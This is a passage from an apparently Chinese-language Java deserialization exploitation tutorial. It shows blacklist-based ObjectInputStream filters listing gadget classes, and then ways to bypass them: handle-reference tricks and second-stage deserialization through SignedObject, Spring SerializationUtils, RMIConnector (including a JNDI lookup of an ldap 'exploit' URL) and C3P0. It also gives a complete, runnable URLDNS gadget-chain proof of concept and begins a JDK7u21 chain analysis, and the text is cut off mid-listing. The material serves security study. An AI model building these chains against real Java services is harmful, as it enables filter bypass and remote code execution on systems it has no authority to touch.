throw new InvalidClassException("Unexpected serialized class", cls.getName());
}
}

public static boolean contains(String targetValue) {
for (String forbiddenPackage : blacklist) {
if (targetValue.matches(forbiddenPackage))
return true;
}
return false;
}
}

或是这样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public class MyownObjectInputStream extends ObjectInputStream {
private ArrayList Blacklist = new ArrayList();

public MyownObjectInputStream(InputStream in) throws IOException {
super(in);
this.Blacklist.add(Hashtable.class.getName());
this.Blacklist.add(HashSet.class.getName());
this.Blacklist.add(JdbcRowSetImpl.class.getName());
this.Blacklist.add(TreeMap.class.getName());
this.Blacklist.add(HotSwappableTargetSource.class.getName());
this.Blacklist.add(XString.class.getName());
this.Blacklist.add(BadAttributeValueExpException.class.getName());
this.Blacklist.add(TemplatesImpl.class.getName());
this.Blacklist.add(ToStringBean.class.getName());
this.Blacklist.add("com.sun.jndi.ldap.LdapAttribute");
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.Blacklist.contains(desc.getName())) {
throw new InvalidClassException("dont do this");
} else {
return super.resolveClass(desc);
}
}
}

当然 SerialKiller 同样也是采用这个思路:

1
2
ObjectInputStream ois = new SerialKiller(is, "/etc/serialkiller.conf");
String msg = (String) ois.readObject();

绕过思路

引用绕过

这个绕过思路只能绕过在特定类重写 resilveClass 的情况。以 FastJson 为例,该类在重写的 readObject 函数中创建了继承 ObjectInputStreamSecureObjectInputStream,也就是说该类下的所有对象反序列化前都需要经过 SecureObjectInputStream#resilveClass 的过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void readObject(final java.io.ObjectInputStream in)
throws IOException, ClassNotFoundException {
// 1) 预检测/初始化:确认 SecureObjectInputStream 能否在当前环境正确工作
JSONObject.SecureObjectInputStream.ensureFields();

// 若“安全字段”可用且初始化未报错,走安全包装路径
if (JSONObject.SecureObjectInputStream.fields != null
&& !JSONObject.SecureObjectInputStream.fields_error) {

// 用“安全版 OIS”包装原始流:通常会重写 resolveClass/resolveProxyClass 等
// 在类型解析环节做白/黑名单检查,提前阻断危险类型
ObjectInputStream secIn = new JSONObject.SecureObjectInputStream(in);

// 在受限输入流上执行默认反序列化(只读本类声明的可持久化字段)
secIn.defaultReadObject();
return;
}

// 2) 回退路径:直接在原始流上做默认反序列化
in.defaultReadObject();

// 随后对关键容器中的元素逐个做 autoType 复核(补救式的运行时校验)
for (Object item : list) {
if (item != null) {
// 以实际运行时类名做 autoType 检查:
// - 命中黑名单或未启用/未匹配白名单将抛出 JSONException/安全异常
// - 第二个参数 expectClass 传 null,按全局配置判定
ParserConfig.global.checkAutoType(item.getClass().getName(), null);
}
}
}

在 Java 反序列化的过程中,如果一个类不是 unshared,那么这个类一旦加载并实例化后,会被放在对象句柄表(handles)中。

例如对于普通对象,readNonProxyDesc 函数调用 resolveClass 根据 ObjectStreamClass 中的信息从本地加载类,然后通过 desc.initNonProxy 将加载的类放到了 ObjectStreamClass 中。而 ObjectStreamClass 存放在对象句柄表 handles 中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
// 2) 创建空的 OSC,并分配句柄(unshared 时登记特殊标记以禁止后续回引)
ObjectStreamClass desc = new ObjectStreamClass();
int descHandle = handles.assign(unshared ? unsharedMarker : desc);
// 在真正完成前,passHandle 暂置为空,避免“半成品”被使用
passHandle = NULL_HANDLE;

// 3) 读取“类描述符主体”(classDescBody)
// - 等价于写端的 writeClassDescriptor(desc)
// - 包括:类名、serialVersionUID、flags、字段表等
ObjectStreamClass readDesc = null;
try {
readDesc = readClassDescriptor();
} catch (ClassNotFoundException ex) {
// 读取“主体”阶段就需要加载某些类型签名,失败则包装为 InvalidClassException
throw (IOException) new InvalidClassException(
"failed to read class descriptor").initCause(ex);
}

// 4) 尝试把描述符解析为本地 Class,并做包访问校验
Class<?> cl = null;
ClassNotFoundException resolveEx = null;

// 切到块数据模式,准备读取/跳过“类注解块”(classAnnotations)
bin.setBlockDataMode(true);
final boolean checksRequired = isCustomSubclass(); // 自定义子类需做额外的包访问检查
try {
// resolveClass:把 readDesc 指向的类名解析为本地 Class(可被子类覆盖)
if ((cl = resolveClass(readDesc)) == null) {
resolveEx = new ClassNotFoundException("null class");
} else if (checksRequired) {
// 安全:自定义子类时校验包访问权限,避免越权加载敏感包
ReflectUtil.checkPackageAccess(cl);
}
} catch (ClassNotFoundException ex) {
resolveEx = ex; // 暂存,稍后绑定到描述符句柄
}

// [...]

// 6) 读取“父类描述符”,并初始化 OSC
try {
totalObjectRefs++; // 统计(供过滤器限额评估)
depth++; // 嵌套深度(控制回调/异常传播范围)
// initNonProxy:将“读取到的主体信息 + 解析到的 Class(或异常) +
// 父类描述符”组合进当前描述符
desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(false));
} finally {
depth--;
}

// 7) 标记该描述符构建完成,允许后续通过句柄回引;设置 passHandle 并返回
handles.finish(descHandle);
passHandle = descHandle;

而后续相同的对象在序列化数据中是以“对象句柄引用”的形式存在,因此在反序列化的时候走的是 readHandle 逻辑直接根据句柄值从 handles 中取对象并返回,因此不会调用到 resolveClassresolveProxyClass 函数加载类。

1
2
// 查出该句柄所对应的对象
Object obj = handles.lookupObject(passHandle);

因此我们可以向 ListSetMap 等类型的容器中分别添加 TemplatesImpl 和前面构造的 JsonArray,确保 JsonArray 中的 TemplatesImpl 是对象引用即可绕过。

二次反序列化

二次反序列化指的是不使用检测黑名单的 ObjectInputStream 去加载序列化对象,而是找到一条可以触发 readObject 的链子,用原生的 ObjectInputStreamresolveClass

SignedObject

java.security.SignedObject#getObject 可以触发反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public final class SignedObject implements Serializable {
public SignedObject(Serializable object, PrivateKey signingKey,
Signature signingEngine)
throws IOException, InvalidKeyException, SignatureException {
// creating a stream pipe-line, from a to b
ByteArrayOutputStream b = new ByteArrayOutputStream();
ObjectOutput a = new ObjectOutputStream(b);

// write and flush the object content to byte array
a.writeObject(object);
a.flush();
a.close();
this.content = b.toByteArray();
b.close();

// now sign the encapsulated object
this.sign(signingKey, signingEngine);
}

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
java.io.ObjectInputStream.GetField fields = s.readFields();
content = ((byte[])fields.get("content", null)).clone();
signature = ((byte[])fields.get("signature", null)).clone();
thealgorithm = (String)fields.get("thealgorithm", null);
}

public Object getObject()
throws IOException, ClassNotFoundException
{
// creating a stream pipe-line, from b to a
ByteArrayInputStream b = new ByteArrayInputStream(this.content);
ObjectInput a = new ObjectInputStream(b);
Object obj = a.readObject();
b.close();
a.close();
return obj;
}
}
  • SignedObject 构造函数将 object 序列化后保存在 content 属性。
  • readObject 将序列化数据 content 原封不动的恢复到 content 属性。
  • getObject 函数将 content 中的序列化数据反序列化。

因此我们只需要寻找一个能够执行类的 getObject 方法的利用链即可。

1
2
3
4
5
6
7
8
9
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject((Serializable) URLDNS.getObject("http://www.example.com"), privateKey, signingEngine);

signedObject.getObject();

注意

signedObject 的反序列化并不能触发二次反序列化,真正触发二次反序列化的条件是 getObject 方法的调用。

SerializationUtils

org.springframework.util.SerializationUtils#deserialize 可以将参数反序列化。

1
2
3
4
5
6
7
8
9
public static Object deserialize(@Nullable byte[] bytes) {
if (bytes == null) {
return null;
}
try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return ois.readObject();
}
// [...]
}
RMIConnector

javax.management.remote.rmi.RMIConnector 中, connect() 方法能触发 findRMIServer 函数调用且参数是 jmxServiceURL

1
2
3
4
5
6
7
8
9
10
11
12
13
private final JMXServiceURL jmxServiceURL;

public void connect() throws IOException {
connect(null);
}

public synchronized void connect(Map<String,?> environment)
throws IOException {
// [...]
RMIServer stub = (rmiServer!=null)?rmiServer:
findRMIServer(jmxServiceURL, usemap);
// [...]
}

JMXServiceURL 用来表示 JMX API 连接器服务器的地址。该地址是符合 SLP 的抽象服务 URL(Abstract Service URL),其定义见 RFC 2609,并由 RFC 3111 修订。它必须形如:service:jmx:protocol:sap

  • protocol:用于连接到连接器服务器的传输协议。它是由一个或多个 ASCII 字符组成的字符串;每个字符要么是字母、数字,或字符 +-第一个字符必须是字母。大写字母会被转换为小写。
  • sap:连接器服务器所在的地址。该地址使用了 RFC 2609 中为基于 IP 的协议所定义语法的一个子集,支持的语法为://[host[:port]][url-path]
    • host:可以是主机名、IPv4 数字地址,或用方括号包裹的 IPv6 数字地址(如 [2001:db8::1])。
    • port:十进制端口号。0 表示默认端口匿名端口(取决于具体协议)。
    • hostport 都可以省略;但不能只有端口而没有主机
    • url-path(如果有)以斜杠 / 或分号 ; 开头,并一直延续到地址末尾。它可以包含使用 RFC 2609 规定的分号语法的属性本类不会解析这些属性,也不会检测属性语法是否正确。

我们可以从 JMXServiceURL 分析出该类型 URL 的语法规则:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
/**
* <p>通过解析 Service URL 字符串来构造一个 {@code JMXServiceURL}。</p>
*
* @param serviceURL 要解析的 URL 字符串。
*
* @throws NullPointerException
* 如果 {@code serviceURL} 为 null。
*
* @throws MalformedURLException
* 如果 {@code serviceURL} 不符合“抽象 Service URL”的语法,
* 或者不是一个有效的 JMX Remote API 服务名。
* 合法的 {@code JMXServiceURL} 必须以 {@code "service:jmx:"}
* 开头(大小写不敏感),且不得包含任何不可打印的 ASCII 字符。
*/
public JMXServiceURL(String serviceURL) throws MalformedURLException {
final int serviceURLLength = serviceURL.length();

/* 按 RFC 2609 检查 URL 中是否存在非 ASCII 的字符。
这里限定为“可打印 ASCII 字符”:
范围是 [0x20, 0x7E];也就是 < 0x20 或 >= 0x7F 都非法。 */
for (int i = 0; i < serviceURLLength; i++) {
char c = serviceURL.charAt(i);
if (c < 32 || c >= 127) {
throw new MalformedURLException("Service URL contains " +
"non-ASCII character 0x" +
Integer.toHexString(c));
}
}

// 解析并校验必须的前缀:"service:jmx:"(大小写不敏感)
final String requiredPrefix = "service:jmx:";
final int requiredPrefixLength = requiredPrefix.length();
if (!serviceURL.regionMatches(true, // ignore case:忽略大小写
0, // serviceURL 起始偏移
requiredPrefix,
0, // requiredPrefix 起始偏移
requiredPrefixLength)) {
throw new MalformedURLException("Service URL must start with " +
requiredPrefix);
}

// 解析协议名(protocol),位于 "service:jmx:" 之后、"://" 之前
final int protoStart = requiredPrefixLength;
final int protoEnd = indexOf(serviceURL, ':', protoStart);
this.protocol =
serviceURL.substring(protoStart, protoEnd).toLowerCase();

// 协议名之后必须紧跟 "://"
if (!serviceURL.regionMatches(protoEnd, "://", 0, 3)) {
throw new MalformedURLException("Missing \"://\" after " +
"protocol name");
}

// 解析主机名(host)
final int hostStart = protoEnd + 3;
final int hostEnd;
if (hostStart < serviceURLLength
&& serviceURL.charAt(hostStart) == '[') {
// 形如:[... ] —— 按 RFC 3986 的 IPv6 地址字面量
hostEnd = serviceURL.indexOf(']', hostStart) + 1;
if (hostEnd == 0)
throw new MalformedURLException("Bad host name: [ without ]");
this.host = serviceURL.substring(hostStart + 1, hostEnd - 1);
// 方括号中的内容必须是“数字形式的 IPv6 地址”(不接受主机名)
if (!isNumericIPv6Address(this.host)) {
throw new MalformedURLException("Address inside [...] must " +
"be numeric IPv6 address");
}
} else {
// 普通主机名:从 hostStart 开始,找到第一个“不属于允许字符集合”的位置
// hostNameBitSet:允许出现在主机名中的字符集合(字母/数字/连字符/点等)
hostEnd =
indexOfFirstNotInSet(serviceURL, hostNameBitSet, hostStart);
this.host = serviceURL.substring(hostStart, hostEnd);
}

// 解析端口号(可选)。若存在则形如 ":<digits>"
final int portEnd;
if (hostEnd < serviceURLLength && serviceURL.charAt(hostEnd) == ':') {
if (this.host.length() == 0) {
// 不允许只有端口没有主机
throw new MalformedURLException("Cannot give port number " +
"without host name");
}
final int portStart = hostEnd + 1;
// 从端口起始处查找第一个“不是数字”的字符位置
portEnd =
indexOfFirstNotInSet(serviceURL, numericBitSet, portStart);
final String portString = serviceURL.substring(portStart, portEnd);
try {
this.port = Integer.parseInt(portString);
} catch (NumberFormatException e) {
throw new MalformedURLException("Bad port number: \"" +
portString + "\": " + e);
}
} else {
// 没有端口:端口默认为 0
portEnd = hostEnd;
this.port = 0;
}

// 解析 URL 的“路径”部分:从端口结束位置起到字符串末尾
final int urlPathStart = portEnd;
if (urlPathStart < serviceURLLength)
this.urlPath = serviceURL.substring(urlPathStart);
else
this.urlPath = "";

// 最终一致性校验(例如:协议/主机/端口/路径的组合是否合法)
validate();
}

getURLPath 返回的是 url-path 部分的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* 获取 Service URL 的“路径”部分(URL Path)。
* 取值约束:
* - 可能是空字符串 "";
* - 或以斜杠 '/' 开头;
* - 或以分号 ';' 开头;
* 严格保证**不为 null**。
*
* @return 永不为 null 的 URL 路径部分
*/
public String getURLPath() {
// 直接返回在构造/validate() 阶段已解析并校验过的 urlPath(String 不可变,无需拷贝)
return urlPath;
}

findRMIServer 方法先检测 JMXServiceURL 的协议是否是 rmiiiop;之后根据传入的 directoryURL 参数前缀主要有 /jndi//stub/ 两个分支。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
// 根据给定的 JMXServiceURL 和环境参数,定位并返回远程 RMIServer 引用。
// 可能通过 JNDI(/jndi/)、JRMP Stub(/stub/)或 IOR(/ior/)三种路径解析。
// 当协议为 IIOP 时,确保 ORB 已放入环境中供命名服务解析使用。
private RMIServer findRMIServer(JMXServiceURL directoryURL,
Map<String, Object> environment)
throws NamingException, IOException {

// 判断 URL 的协议是否为 iiop(CORBA IIOP)。strict=true 表示只接受 rmi 或 iiop 两种协议,否则抛异常
final boolean isIiop = RMIConnectorServer.isIiopURL(directoryURL,true);

if (isIiop) {
// 如果是 IIOP,确保环境中包含 ORB 实例(键:EnvHelp.DEFAULT_ORB,通常是 "java.naming.corba.orb")
// 某些 IIOP/JNDI 解析需要 ORB 来与命名服务交互
environment.put(EnvHelp.DEFAULT_ORB, resolveOrb(environment));
}

// 取出 URL 的 path 部分(形如:/jndi/xxx、/stub/xxx、/ior/xxx;attr1=...)
String path = directoryURL.getURLPath();

// 查找 ';'(分号)作为属性的起始;未找到则取到末尾
int end = path.indexOf(';');
if (end < 0) end = path.length();

// 路径以 /jndi/ 开头:走 JNDI 方式查找 RMIServer
// 传入的子串为去掉前缀 "/jndi/" 的那一段(不包含后续分号属性)
if (path.startsWith("/jndi/"))
return findRMIServerJNDI(path.substring(6, end), environment, isIiop);

// 路径以 /stub/ 开头:走 JRMP stub 方式(通常是 Base64/序列化形式的 RMI Stub)
else if (path.startsWith("/stub/"))
return findRMIServerJRMP(path.substring(6, end), environment, isIiop);

// 路径以 /ior/ 开头:走 IIOP IOR 字符串解析
else if (path.startsWith("/ior/")) {
// 运行环境必须具备 IIOP 支持,否则报错
if (!IIOPHelper.isAvailable())
throw new IOException("iiop protocol not available");

// 去掉 "/ior/" 前缀后,将 IOR 子串交给解析方法
return findRMIServerIIOP(path.substring(5, end), environment, isIiop);

} else {
// 其他前缀均不支持:抛出格式错误(属于 IOException 的子类 MalformedURLException)
final String msg = "URL path must begin with /jndi/ or /stub/ " +
"or /ior/: " + path;
throw new MalformedURLException(msg);
}
}

// 判定给定的 JMXServiceURL 是否为 IIOP 协议。
// protocol = "rmi" -> 返回 false
// protocol = "iiop" -> 返回 true
// 其他协议:若 strict=true,则抛出 MalformedURLException;若 strict=false,则按非 IIOP 处理(返回 false)
static boolean isIiopURL(JMXServiceURL directoryURL, boolean strict)
throws MalformedURLException {

// 取出协议名(如 rmi、iiop)
String protocol = directoryURL.getProtocol();

// rmi:非 IIOP
if (protocol.equals("rmi"))
return false;

// iiop:IIOP
else if (protocol.equals("iiop"))
return true;

// 既不是 rmi 也不是 iiop:在 strict 模式下直接报错,限制只允许两种协议
else if (strict) {
throw new MalformedURLException("URL must have protocol " +
"\"rmi\" or \"iiop\": \"" +
protocol + "\"");
}

// 非 strict 模式,其他协议一律视为非 IIOP
return false;
}

其中 /jndi/ 分支对应的 findRMIServerJNDI 函数可以触发 JNDI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private RMIServer findRMIServerJNDI(String jndiURL, Map<String, ?> env,
boolean isIiop)
throws NamingException {

InitialContext ctx = new InitialContext(EnvHelp.mapToHashtable(env));

Object objref = ctx.lookup(jndiURL);
ctx.close();

if (isIiop)
return narrowIIOPServer(objref);
else
return narrowJRMPServer(objref);
}

可以构造一条触发 JNDI 的利用链:

1
2
3
4
5
RMIConnector conn = new RMIConnector(
new JMXServiceURL("service:jmx:rmi://example.com/jndi/ldap://127.0.0.1:8099/exploit"),
new HashMap<>()
);
conn.connect();

/stub/ 分支对应的 findRMIServerJRMP 则会将 base64 参数的内容反序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private RMIServer findRMIServerJRMP(String base64, Map<String, ?> env, boolean isIiop)
throws IOException {

final byte[] serialized;
try {
serialized = base64ToByteArray(base64);
}
// [...]
final ByteArrayInputStream bin = new ByteArrayInputStream(serialized);

final ClassLoader loader = EnvHelp.resolveClientClassLoader(env);
final ObjectInputStream oin =
(loader == null) ?
new ObjectInputStream(bin) :
new ObjectInputStreamWithLoader(bin, loader);
final Object stub;
try {
stub = oin.readObject();
}
// [...]
}

因此我们可以构造一条二次反序列化利用链:

1
2
3
4
5
6
RMIConnector conn = new RMIConnector(
new JMXServiceURL("service:jmx:rmi://example.com/stub/"
+ Base64.getEncoder().encodeToString(URLDNS.getPayload("http://www.example.com"))),
new HashMap<>()
);
conn.connect();
WrapperConnectionPoolDataSource

这是一条来自 C3P0 的二次反序列化链,其中 C3P0 坐标如下:

1
2
3
4
5
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.11.2</version>
</dependency>

调用栈如下:

1
2
3
4
5
6
7
8
at java.io.ObjectInputStream.readObject(ObjectInputStream.java:431)
at com.mchange.v2.ser.SerializableUtils.deserializeFromByteArray(SerializableUtils.java:144)
at com.mchange.v2.ser.SerializableUtils.fromByteArray(SerializableUtils.java:123)
at com.mchange.v2.c3p0.impl.C3P0ImplUtils.parseUserOverridesAsString(C3P0ImplUtils.java:252)
at com.mchange.v2.c3p0.WrapperConnectionPoolDataSource$1.vetoableChange(WrapperConnectionPoolDataSource.java:58)
at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:375)
at java.beans.VetoableChangeSupport.fireVetoableChange(VetoableChangeSupport.java:271)
at com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase.setUserOverridesAsString(WrapperConnectionPoolDataSourceBase.java:441)

其中 com.mchange.v2.c3p0.impl.C3P0ImplUtils#parseUserOverridesAsString 函数会将子串 userOverridesAsString[len("HexAsciiSerializedMap") + 1 : -1] 从 HEX 转换为 bytes,然后调用 com.mchange.v2.ser.SerializableUtils#fromByteArray 进行后续反序列化操作。

这里 userOverridesAsString 就是调用 com.mchange.v2.c3p0.impl.WrapperConnectionPoolDataSourceBase#setUserOverridesAsString 时传入的参数。

1
2
3
4
5
6
7
8
9
10
private final static String HASM_HEADER = "HexAsciiSerializedMap";

public static Map parseUserOverridesAsString( String userOverridesAsString ) throws IOException, ClassNotFoundException {
if (userOverridesAsString != null) {
String hexAscii = userOverridesAsString.substring(HASM_HEADER.length() + 1, userOverridesAsString.length() - 1);
byte[] serBytes = ByteUtils.fromHexAscii( hexAscii );
return Collections.unmodifiableMap( (Map) SerializableUtils.fromByteArray( serBytes ) );
} else
return Collections.EMPTY_MAP;
}

最后会在 SerializableUtils#deserializeFromByteArray 函数进行实际的反序列化操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public static Object fromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
Object out = deserializeFromByteArray( bytes );
if (out instanceof IndirectlySerialized)
return ((IndirectlySerialized) out).getObject();
else
return out;
}

public static Object deserializeFromByteArray(byte[] bytes) throws IOException, ClassNotFoundException
{
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes));
return in.readObject();
}

因此我们可以构造如下二次反序列化利用链:

1
2
3
4
String hex = ByteUtils.toHexAscii(URLDNS.getPayload("http://www.example.com"));
String payload = "HexAsciiSerializedMap:" + hex + '!';
WrapperConnectionPoolDataSource wrapperConnectionPoolDataSource = new WrapperConnectionPoolDataSource();
wrapperConnectionPoolDataSource.setUserOverridesAsString(payload);

JDK 原生反序列化利用链

主要是一些不依赖第三方库的 Java 反序列化利用链。

URLDNS

URLDNS 反序列化利用链可以通过 DNS 请求来验证反序列化漏洞的可利用性。这条利用链使用 Java 内置的类构造,对第三方库没有依赖,可以在没有回显的情况下验证是否存在反序列化漏洞。我们可以在 https://requestrepo.com/ 网站上进行 DNS 请求测试。

原理分析

调用栈如下:

1
2
3
4
5
at java.net.URLStreamHandler.getHostAddress(URLStreamHandler.java:434)
at java.net.URLStreamHandler.hashCode(URLStreamHandler.java:359)
at java.net.URL.hashCode(URL.java:885)
at java.util.HashMap.hash(HashMap.java:339)
at java.util.HashMap.readObject(HashMap.java:1413)

首先在 HashMap.readObject 中会遍历 HashMap 的成员并对 key 调用 HashMap.hash 函数计算 hash。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// 读取阈值(被忽略)、加载因子以及其他隐藏的内容
s.defaultReadObject();
// 重新初始化HashMap
reinitialize();
// 检查加载因子是否有效
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);

// 读取并忽略桶的数量
s.readInt();
// 读取映射的数量(即HashMap的大小)
int mappings = s.readInt();
// 检查映射数量是否有效
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // 如果映射数量大于零,则进行初始化
// [...]
// 读取键和值,并将映射放入HashMap中
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject(); // 读取键对象
@SuppressWarnings("unchecked")
V value = (V) s.readObject(); // 读取值对象
putVal(hash(key), key, value, false, false); // <-- 调用hash函数并插入键值对
}
}
}

/**
* 从输入流中重建此 Map(即反序列化)。
* @param s 输入流
* @throws ClassNotFoundException 若流中对象的类在当前环境中不可用
* @throws IOException 读写失败
*/
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {

// [...]

// 读取键值对数量(size)。
int mappings = s.readInt();

// [...]

// 若有数据(>0),按流中的 loadFactor 计算并分配表容量;否则使用默认表。
else if (mappings > 0) {
// [...]

// 循环读取 key 与 value,并以“正常插入”的方式放入表。
// 注意:readObject() 读取的 key/value 自身若实现了自定义反序列化,
// 这里会触发它们的 readObject(可能执行用户代码)。
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
// putVal(hash(key), key, value, onlyIfAbsent=false, evict=false)
putVal(hash(key), key, value, false, false); // 👈 对 key 调用 hash 方法
}
}
}

HashMap#hash 函数中会调用 keyhashCode 方法,也就是 java.net.URL#hashCode

1
2
3
4
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

URL#hashCode 函数中,由于我们设置 url 对象的 hashCode 成员值为 -1,因此会调用 URLStreamHandler#hashCode 函数。

1
2
3
4
5
6
7
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;

hashCode = handler.hashCode(this); // 👈 调用 URLStreamHandler#hashCode
return hashCode;
}

URLStreamHandler#hashCode 函数会调用 getHostAddress 函数获取 URL 对应的 ip 地址,也就会发送 DNS 请求。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
protected int hashCode(URL u) {
// [...]
// Generate the host part.
InetAddress addr = getHostAddress(u);
// [...]
}

/**
* 获取主机的 IP 地址;若 host 为空/缺失或 DNS 解析失败,返回 null。
*
* 说明:
* - 使用 synchronized 保证多线程下对 u.hostAddress 的读取/写入可见且不重复解析。
* - 解析成功后将结果缓存在 URL 的 hostAddress 字段,后续直接复用。
*
* @param u URL 对象
* @return 主机对应的 InetAddress;解析失败或无主机名则返回 null
* @since 1.3
*/
protected synchronized InetAddress getHostAddress(URL u) {
// 若已缓存解析结果,直接返回,避免重复 DNS 查询
if (u.hostAddress != null)
return u.hostAddress;

// 取得主机名;为空或缺失则无法解析,返回 null
String host = u.getHost();
if (host == null || host.equals("")) {
return null;
} else {
try {
// 进行 DNS 解析,并将结果写入缓存
u.hostAddress = InetAddress.getByName(host);
} catch (UnknownHostException ex) {
// DNS 解析失败(无记录/不可达等)→ 返回 null
return null;
} catch (SecurityException se) {
// 被 SecurityManager 拒绝网络/解析权限 → 返回 null
return null;
}
}
// 成功解析:返回已缓存的地址
return u.hostAddress;
}

利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static Object getObject(String url) throws Exception {
URL urlObject = new URL(url);
HashMap hashMap = new HashMap();

setFieldValue(urlObject, "hashCode", 0xdeadbeef); // 防止提前触发影响观察现象
hashMap.put(urlObject, "sky123");
setFieldValue(urlObject, "hashCode", -1);

return hashMap;
}

public static byte[] getPayload(String url) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(getObject(url));
return byteArrayOutputStream.toByteArray();
}

public static void main(String[] args) throws Exception {
byte[] payload = getPayload("http://www.example.com");
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(payload);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}

private static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
}

提示

为了避免在往 HashMap 中放置 urlObject 的时候触发哈希方法调用,导致触发 DNS 请求影响观察,我们需要先设置给 urlObjecthashCode 属性设置一个不为 -1 的值。

1
2
3
setFieldValue(urlObject, "hashCode", 0xdeadbeef); // 防止提前触发影响观察现象
hashMap.put(urlObject, "sky123");
setFieldValue(urlObject, "hashCode", -1);

JDK7u21

原理分析

调用栈如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader.defineClass(TemplatesImpl.java:136)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.defineTransletClasses(TemplatesImpl.java:339)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getTransletInstance(TemplatesImpl.java:376)
at com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer(TemplatesImpl.java:410)
at sun.reflect.NativeMethodAccessorImpl.invoke0(NativeMethodAccessorImpl.java:-1)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:57)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:601)
at sun.reflect.annotation.AnnotationInvocationHandler.equalsImpl(AnnotationInvocationHandler.java:197)
at sun.reflect.annotation.AnnotationInvocationHandler.invoke(AnnotationInvocationHandler.java:59)
at com.sun.proxy.$Proxy1.equals(Unknown Source:-1)
at java.util.HashMap.put(HashMap.java:475)
at java.util.HashSet.readObject(HashSet.java:309)

AnnotationInvocationHandler 类中的 equalsImpl 方法在参数 Object o 不是 AnnotationInvocationHandler 的实现类代理的对象时,会获取其成员 type 中的所有方法,然后依次调用 o 中的这些方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
